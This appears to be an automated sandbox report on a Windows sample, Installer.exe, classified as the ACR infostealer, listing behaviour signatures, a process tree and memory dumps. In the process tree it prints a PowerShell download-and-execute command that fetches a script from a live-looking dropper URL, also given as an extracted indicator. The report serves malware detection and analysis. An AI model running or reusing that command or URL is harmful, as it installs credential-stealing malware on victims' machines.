Analysis
- max time kernel
300s - max time network
279s - platform
windows10-ltsc_2021_x64 - resource
win10ltsc2021-20251017-en - resource tags
- submitted
04/11/2025, 14:30
General
- Target Installer.exe
- Size 646.4MB
- Sample251104-rvbghsb19d
- SHA256 aa5168c20c885a7a7778246f9de51f279b04615b8feafba5bccc33cb9ffbf92f
Malware Config
Extracted
-
ps1
-
ps1.dropper
http://87.120.219.26/CCZT7wMNnD29ie
Signatures
- ACR stealer,GrMsk
ACR stealer (aka GrMsk stealer) is an infostealer written in C++.
- Acrstealer family
- Detects unpacked ACRstealer payload 1 IoCs
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Suspicious use of SetThreadContext 10 IoCs
- Program crash 1 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 4 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\Installer.exe"C:\Users\Admin\AppData\Local\Temp\Installer.exe"1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"2⤵
- Suspicious use of WriteProcessMemory
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"2⤵
- Suspicious use of WriteProcessMemory
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"2⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"2⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"2⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"2⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"2⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"2⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -ExecutionPolicy Bypass -Command "IEX (New-Object Net.WebClient).DownloadString('http://87.120.219.26/CCZT7wMNnD29ie')"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\SysWOW64\rundll32.exe"2⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\SysWOW64\rundll32.exe"2⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4400 -s 6243⤵
- Program crash
-
-
-
C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"1⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 4400 -ip 44001⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_0i3woymi.ns4.ps1
memory/116-1681-0x00000135B3F50000-0x00000135B3F52000-memory.dmp
memory/224-1785-0x0000000000840000-0x0000000000843000-memory.dmp
memory/224-1790-0x0000000000580000-0x00000000005CC000-memory.dmp
memory/224-1786-0x0000000000AC0000-0x0000000000B12000-memory.dmp
memory/1508-1755-0x0000024054940000-0x0000024054942000-memory.dmp
memory/1872-1779-0x0000023D30300000-0x0000023D30302000-memory.dmp
memory/3624-1752-0x0000022430920000-0x0000022430922000-memory.dmp
memory/4376-1154-0x00000000028C0000-0x0000000002902000-memory.dmp
memory/4376-1196-0x00000000028C0000-0x0000000002902000-memory.dmp
memory/4376-1112-0x00000000028C0000-0x0000000002902000-memory.dmp
memory/4376-1105-0x000000007F8E0000-0x000000007F8E1000-memory.dmp
memory/4376-1103-0x00000000028C0000-0x0000000002902000-memory.dmp
memory/4376-1100-0x000000007F8E0000-0x000000007F8E1000-memory.dmp
memory/4376-1097-0x000000007F8E0000-0x000000007F8E1000-memory.dmp
memory/4376-1094-0x000000007F8E0000-0x000000007F8E1000-memory.dmp
memory/4376-1092-0x000000007F8E0000-0x000000007F8E1000-memory.dmp
memory/4376-1091-0x000000007F8E0000-0x000000007F8E1000-memory.dmp
memory/4376-1280-0x00000000028C0000-0x0000000002902000-memory.dmp
memory/4376-1291-0x00000000028C0000-0x0000000002902000-memory.dmp
memory/4376-1328-0x00000000028C0000-0x0000000002902000-memory.dmp
memory/4376-1320-0x00000000028C0000-0x0000000002902000-memory.dmp
memory/4376-1313-0x00000000028C0000-0x0000000002902000-memory.dmp
memory/4376-1306-0x00000000028C0000-0x0000000002902000-memory.dmp
memory/4376-1295-0x00000000028C0000-0x0000000002902000-memory.dmp
memory/4376-1273-0x00000000028C0000-0x0000000002902000-memory.dmp
memory/4376-1266-0x00000000028C0000-0x0000000002902000-memory.dmp
memory/4376-1259-0x00000000028C0000-0x0000000002902000-memory.dmp
memory/4376-1252-0x00000000028C0000-0x0000000002902000-memory.dmp
memory/4376-1245-0x00000000028C0000-0x0000000002902000-memory.dmp
memory/4376-1238-0x00000000028C0000-0x0000000002902000-memory.dmp
memory/4376-1231-0x00000000028C0000-0x0000000002902000-memory.dmp
memory/4376-1224-0x00000000028C0000-0x0000000002902000-memory.dmp
memory/4376-1217-0x00000000028C0000-0x0000000002902000-memory.dmp
memory/4376-1210-0x00000000028C0000-0x0000000002902000-memory.dmp
memory/4376-1203-0x00000000028C0000-0x0000000002902000-memory.dmp
memory/4376-1119-0x00000000028C0000-0x0000000002902000-memory.dmp
memory/4376-1189-0x00000000028C0000-0x0000000002902000-memory.dmp
memory/4376-1182-0x00000000028C0000-0x0000000002902000-memory.dmp
memory/4376-1175-0x00000000028C0000-0x0000000002902000-memory.dmp
memory/4376-1168-0x00000000028C0000-0x0000000002902000-memory.dmp
memory/4376-1161-0x00000000028C0000-0x0000000002902000-memory.dmp
memory/4376-0-0x00000000028C0000-0x0000000002902000-memory.dmp
memory/4376-1147-0x00000000028C0000-0x0000000002902000-memory.dmp
memory/4376-1140-0x00000000028C0000-0x0000000002902000-memory.dmp
memory/4376-1133-0x00000000028C0000-0x0000000002902000-memory.dmp
memory/4376-514-0x00000000772F3000-0x00000000772F4000-memory.dmp
memory/4376-1126-0x00000000028C0000-0x0000000002902000-memory.dmp
memory/4376-1354-0x000000007FA90000-0x000000007FA91000-memory.dmp
memory/4376-1355-0x0000000002990000-0x0000000002993000-memory.dmp
memory/4376-1402-0x00000000029A0000-0x00000000029BA000-memory.dmp
memory/4376-1341-0x000000007FA60000-0x000000007FA7C000-memory.dmp
memory/4376-23-0x000000007F8E0000-0x000000007F8E1000-memory.dmp
memory/4376-1-0x000000007F8E0000-0x000000007F8E1000-memory.dmp
memory/4376-4-0x000000007F8E0000-0x000000007F8E1000-memory.dmp
memory/4376-15-0x000000007F8E0000-0x000000007F8E1000-memory.dmp
memory/4376-11-0x000000007F8E0000-0x000000007F8E1000-memory.dmp
memory/4376-6-0x000000007F8E0000-0x000000007F8E1000-memory.dmp
memory/4376-7-0x000000007F8E0000-0x000000007F8E1000-memory.dmp
memory/4376-9-0x000000007F8E0000-0x000000007F8E1000-memory.dmp
memory/4400-1805-0x00000000031F0000-0x0000000003800000-memory.dmp
memory/4400-1804-0x0000000000CF0000-0x0000000000CF3000-memory.dmp
memory/4400-1809-0x00000000031F0000-0x0000000003800000-memory.dmp
memory/4400-1811-0x00000000031F0000-0x0000000003800000-memory.dmp
memory/4400-1810-0x00000000031F0000-0x0000000003800000-memory.dmp
memory/4460-1754-0x00000184B99F0000-0x00000184B99F2000-memory.dmp
memory/4840-1753-0x000001C6E6FC0000-0x000001C6E6FC2000-memory.dmp
memory/4936-1780-0x000001A8F8D30000-0x000001A8F8D32000-memory.dmp
memory/5484-1783-0x0000000002DA0000-0x0000000002DB0000-memory.dmp
memory/5484-1782-0x0000000002D20000-0x0000000002D56000-memory.dmp
memory/5484-2003-0x000000000D8F0000-0x000000000DE96000-memory.dmp
memory/5484-1791-0x0000000005340000-0x0000000005362000-memory.dmp
memory/5484-1999-0x0000000002DA0000-0x0000000002DB0000-memory.dmp
memory/5484-1784-0x0000000005560000-0x0000000005C2A000-memory.dmp
memory/5484-1801-0x0000000005EA0000-0x00000000061F7000-memory.dmp
memory/5484-1793-0x0000000005C30000-0x0000000005C96000-memory.dmp
memory/5484-1792-0x00000000054E0000-0x0000000005546000-memory.dmp
memory/5484-1803-0x00000000063D0000-0x000000000641C000-memory.dmp
memory/5484-1781-0x0000000002DA0000-0x0000000002DB0000-memory.dmp
memory/5484-1996-0x00000000079E0000-0x000000000805A000-memory.dmp
memory/5484-1997-0x0000000006900000-0x000000000691A000-memory.dmp
memory/5484-1998-0x0000000002DA0000-0x0000000002DB0000-memory.dmp
memory/5484-1802-0x0000000006390000-0x00000000063AE000-memory.dmp
memory/5484-2000-0x0000000074330000-0x0000000074AE1000-memory.dmp
memory/5484-2001-0x000000000D2A0000-0x000000000D336000-memory.dmp
memory/5484-2002-0x000000000C210000-0x000000000C232000-memory.dmp
memory/6128-1751-0x000002B456C20000-0x000002B456C22000-memory.dmp